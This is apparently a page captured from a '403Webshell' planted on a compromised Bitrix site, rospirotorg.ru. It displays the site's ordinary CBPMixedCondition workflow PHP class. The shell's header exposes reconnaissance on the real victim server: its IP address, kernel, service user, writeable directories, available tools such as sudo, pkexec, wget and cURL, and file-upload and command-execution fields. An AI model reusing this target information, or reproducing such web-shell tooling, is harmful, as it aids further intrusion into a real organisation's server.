403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/mixedcondition/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/mixedcondition/mixedcondition.php
<?php

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Bizproc;

class CBPMixedCondition extends CBPActivityCondition
{
	public $condition = null;

	public function __construct($condition)
	{
		$this->condition = $condition;
	}

	public function evaluate(CBPActivity $ownerActivity)
	{
		if (!$this->isConditionGroupExist())
		{
			return true;
		}

		$this->conditionGroupToArray();

		$rootActivity = $ownerActivity->getRootActivity();

		$items = [];
		foreach ($this->condition as $cond)
		{
			[$property, $value] = $ownerActivity->getRuntimeProperty($cond['object'], $cond['field'], $rootActivity);
			$fieldTypeObject = $this->getFieldTypeObject($rootActivity, $property);

			$conditionValue = self::additionalExtractValue($fieldTypeObject, $cond['value']);

			$items[] = [
				'joiner' => $this->getJoiner($cond),
				'operator' => $cond['operator'],
				'valueToCheck' => $value,
				'fieldType' => $fieldTypeObject,
				'value' => $property ? $rootActivity->parseValue($conditionValue, $property['Type']) : null,
				'fieldName' => $property['Name'] ?? $cond['field'],
			];
		}

		$conditionGroup = new Bizproc\Activity\ConditionGroup([
			'items' => $items,
			'parameterDocumentId' => $rootActivity->getDocumentId(),
		]);

		$result = $conditionGroup->evaluate();
		if ($ownerActivity->workflow->isDebug())
		{
			$this->writeAutomationConditionLog($items, $conditionGroup->getEvaluateResults(), $result, $ownerActivity);
		}

		return $result;
	}

	public function collectUsages(CBPActivity $ownerActivity)
	{
		$usages = [];
		foreach ($this->condition as $cond)
		{
			$usages[] = Bizproc\Workflow\Template\SourceType::getObjectSourceType($cond['object'], $cond['field']);
			if (is_string($cond['value']))
			{
				$parsed = $ownerActivity::parseExpression($cond['value']);
				if ($parsed)
				{
					$usages[] = \Bitrix\Bizproc\Workflow\Template\SourceType::getObjectSourceType(
						$parsed['object'],
						$parsed['field']
					);
				}
			}
		}

		return $usages;
	}

	public static function GetPropertiesDialog(
		$documentType,
		$arWorkflowTemplate,
		$arWorkflowParameters,
		$arWorkflowVariables,
		$defaultValue,
		$arCurrentValues = null,
		$formName = "",
		$popupWindow = null,
		$currentSiteId = null,
		$arWorkflowConstants = null
	)
	{
		$runtime = CBPRuntime::getRuntime();
		$documentService = $runtime->getDocumentService();
		$arFieldTypes = $documentService->getDocumentFieldTypes($documentType);

		if (is_array($arCurrentValues))
		{
			$defaultValue = static::GetPropertiesDialogValues(
				$documentType,
				$arWorkflowTemplate,
				$arWorkflowParameters,
				$arWorkflowVariables,
				$arCurrentValues,
				$errors,
				$arWorkflowConstants
			);
		}

		$arCurrentValues = ['conditions' => []];
		if (is_array($defaultValue))
		{
			foreach ($defaultValue as $cond)
			{
				$property = static::getDialogProperty(
					$cond['object'],
					$cond['field'],
					$documentType,
					$arWorkflowTemplate,
					$arWorkflowParameters,
					$arWorkflowVariables,
					$arWorkflowConstants
				);
				if ($property)
				{
					$cond['__property__'] = $property;
					$arCurrentValues['conditions'][] = $cond;
				}
			}
		}
		if (!$arCurrentValues['conditions'])
		{
			$arCurrentValues['conditions'][] = ['operator' => '!empty'];
		}

		return $runtime->ExecuteResourceFile(
			__FILE__,
			'properties_dialog.php',
			[
				'arCurrentValues' => $arCurrentValues,
				'documentService' => $documentService,
				'documentType' => $documentType,
				'arProperties' => $arWorkflowParameters,
				'arVariables' => $arWorkflowVariables,
				'formName' => $formName,
				'arFieldTypes' => $arFieldTypes,
			]
		);
	}

	public static function GetPropertiesDialogValues(
		$documentType,
		$arWorkflowTemplate,
		$arWorkflowParameters,
		$arWorkflowVariables,
		$arCurrentValues,
		&$errors,
		$arWorkflowConstants = null
	)
	{
		$errors = [];

		if (!array_key_exists('mixed_condition', $arCurrentValues) || !is_array($arCurrentValues['mixed_condition']))
		{
			$errors[] = [
				'code' => '',
				'message' => \Bitrix\Main\Localization\Loc::getMessage('BPMC_EMPTY_CONDITION'),
			];

			return null;
		}

		$result = [];
		foreach ($arCurrentValues['mixed_condition'] as $index => $condition)
		{
			$property = static::getDialogProperty(
				$condition['object'],
				$condition['field'],
				$documentType,
				$arWorkflowTemplate,
				$arWorkflowParameters,
				$arWorkflowVariables,
				$arWorkflowConstants
			);

			if (!$property)
			{
				continue;
			}

			$inputResult = static::getConditionFieldInputValue(
				$condition['operator'],
				$documentType,
				$property,
				'mixed_condition_value_' . $index,
				$arCurrentValues,
			);
			if (!$inputResult->isSuccess())
			{
				foreach ($inputResult->getErrors() as $error)
				{
					$errors[] = [
						'message' => $error->getMessage(),
						'code' => $error->getCode(),
					];
				}
			}

			$result[] = [
				'object' => $condition['object'],
				'field' => $condition['field'],
				'operator' => $condition['operator'],
				'value' => $inputResult->getData()['value'] ?? '',
				'joiner' => (int)($condition['joiner'] ?? 0),
			];
		}

		if (count($result) <= 0)
		{
			$errors[] = [
				'code' => '',
				'message' => \Bitrix\Main\Localization\Loc::getMessage('BPMC_EMPTY_CONDITION'),
			];

			return null;
		}

		return $result;
	}

	private static function getDialogProperty(
		$object,
		$field,
		$documentType,
		$template,
		$parameters,
		$variables,
		$constants
	): ?array
	{
		switch ($object)
		{
			case 'Template':
			case 'Parameter':
				return $parameters[$field] ?? null;
			case 'Variable':
				return $variables[$field]?? null;
			case 'Constant':
				if (is_array($constants))
				{
					return $constants[$field] ?? null;
				}
				break;
			case 'GlobalConst':
				return Bizproc\Workflow\Type\GlobalConst::getById($field);
			case 'GlobalVar':
				return Bizproc\Workflow\Type\GlobalVar::getById($field);
			case 'Document':
				static $fields;
				if (!$fields)
				{
					$documentService = CBPRuntime::getRuntime()->getDocumentService();
					$fields = $documentService->getDocumentFields($documentType);
				}

				return $fields[$field] ?? null;
			default:
				return self::findActivityProperty($object, $field, $template);
		}

		return null;
	}

	private static function findActivityProperty($object, $field, array $template): ?array
	{
		$activity = self::findTemplateActivity($template, $object);
		if (!$activity)
		{
			return null;
		}

		$props = \CBPRuntime::getRuntime()->getActivityReturnProperties($activity);

		return $props[$field] ?? null;
	}

	private static function findTemplateActivity(array $template, $id)
	{
		foreach ($template as $activity)
		{
			if ($activity['Name'] === $id)
			{
				return $activity;
			}
			if (is_array($activity['Children']))
			{
				$found = self::findTemplateActivity($activity['Children'], $id);
				if ($found)
				{
					return $found;
				}
			}
		}

		return null;
	}

	protected function getJoiner($condition): int
	{
		return empty($condition['joiner']) ? static::CONDITION_JOINER_AND : static::CONDITION_JOINER_OR;
	}

	private static function additionalExtractValue(Bizproc\FieldType $fieldType, $value)
	{
		if ($fieldType->getType() === 'user' && is_string($value))
		{
			if (strpos($value, '[') !== false || strpos($value, '{') !== false)
			{
				$errors = [];
				$value = \CBPHelper::UsersStringToArray($value, $fieldType->getDocumentType(), $errors);
			}
		}

		return $value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit